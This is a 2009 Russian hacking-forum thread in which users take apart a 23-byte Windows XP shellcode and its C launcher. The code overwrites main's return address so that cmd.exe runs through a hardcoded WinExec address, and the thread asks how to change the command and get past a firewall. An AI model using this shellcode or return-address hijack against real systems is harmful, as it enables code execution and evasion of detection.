Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Странный shell (https://forum.antichat.xyz/showthread.php?t=161865)

=Zeus= 08.12.2009 00:22

Странный shell
 
Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd.
Цитата:

Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En
Я откомпилировал, но не могу понять, что он делает.
Код:

#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
                        "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?

slesh 08.12.2009 00:52

Код:

"\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";

это асм команды:
Код:

mov        ebp,esp
push        20657865h //
push        2E646D63h // это типа cmd.exe
lea        eax,[ebp-8]
push        eax 
mov        eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
call        eax  // вызвать функцию

такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы.
Другой язык или/и другая версия винды и будет провал.

=Zeus= 08.12.2009 00:58

А как тогда передать параметры в WinExec()?
Фаервол все равно спалит вызов?

slesh 08.12.2009 01:01

При этом комбинация
Код:

int *ret;
ret=(int *)&ret+2; //  ret будет равняться адресу созврата из функции main
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод

т.е. это пример вызова этого кода через срыв стека.

Передача параметров идет так:
Код:

mov        ebp,esp // запомним адрес вершины стека
// поместим в стек
push        20657865h //
push        2E646D63h // это типа cmd.exe
lea        eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
push        eax  // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe


Причем тут фаер?

=Zeus= 08.12.2009 01:13

1. Я понимаю что для того чтобы что-то изменить нужно знать асм?
2. Ну например на Делфи если написать
Цитата:

WinExec('cmd.exe', sw_show);
то фаер спалит запрос. А тут?

Код:

push        2E646D63h // это типа cmd.exe
А сюда писать то, что мне нужно вызвать?

mailbrush 08.12.2009 01:38

Это ASM) Самый сложный ЯП.

gisTy 08.12.2009 04:53

Цитата:

Сообщение от mailbrush
Это ASM) Самый сложный ЯП.

не сложнее остальных


Время: 17:23